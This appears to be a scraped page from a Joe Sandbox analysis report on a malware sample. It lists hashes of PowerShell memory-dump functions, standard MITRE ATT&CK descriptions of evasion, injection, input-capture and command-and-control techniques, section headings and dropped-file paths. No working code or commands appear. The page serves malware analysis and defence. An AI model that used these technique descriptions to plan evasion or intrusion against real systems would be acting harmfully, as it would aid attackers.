Uniqueness Score: -1.00%

Function 0310297E Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.539182873.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df5f9937f17c33c41168b03dd2d436c9bfde84f736675281ab8e0fc8c53738fb
Instruction ID: d4294e20f0c2eaee9205e6f67ffb40b68a64b451d6857b50792143d1aa9c9a2d
Opcode Fuzzy Hash: df5f9937f17c33c41168b03dd2d436c9bfde84f736675281ab8e0fc8c53738fb
Instruction Fuzzy Hash: D6D05E3104C380CFC302DBB4E895880FFF45F4A125B1C84DAD4888B223D215E41497A2

Uniqueness

Uniqueness Score: -1.00%

Function 0310FE30 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.539182873.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b77a0c2f3a747a8212cb569e67b8c12f3a704a021034b3bfc3549efc6d8ae59
Instruction ID: 9a6ca551b1d4339f914c0eca981c57a3c93fa49d94df42c444fce80bae82e73d
Opcode Fuzzy Hash: 1b77a0c2f3a747a8212cb569e67b8c12f3a704a021034b3bfc3549efc6d8ae59
Instruction Fuzzy Hash: 68D0A93810B2C04FCB2BCB3868381B4BB215E4AB0435D00FEC0818B493CB64809BEB0A

Uniqueness

Uniqueness Score: -1.00%

Function 03102990 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.539182873.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b76679b0a354449729844e828cdbdd8dc5f87ab3334555cc76ca9f307cd6f9ad
Instruction ID: a0ccf6e4bed68dc0c69f5d0bbd707ad7c253f4111acce2a0e91a8f8d8fd4bd45
Opcode Fuzzy Hash: b76679b0a354449729844e828cdbdd8dc5f87ab3334555cc76ca9f307cd6f9ad
Instruction Fuzzy Hash: 03B092351602088F82409B68E448C00B3E8AB08A243118090E10C8B232C621F8008A40

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2lfV6QiE6j

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary

Jbx Signature Overview

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jpdtonrb.o5z.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mev1cm5m.f3r.ps1

C:\Users\user\Documents\20220201\PowerShell_transcript.088753.yBBMHBlq.20220201020510.txt

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
2lfV6QiE6j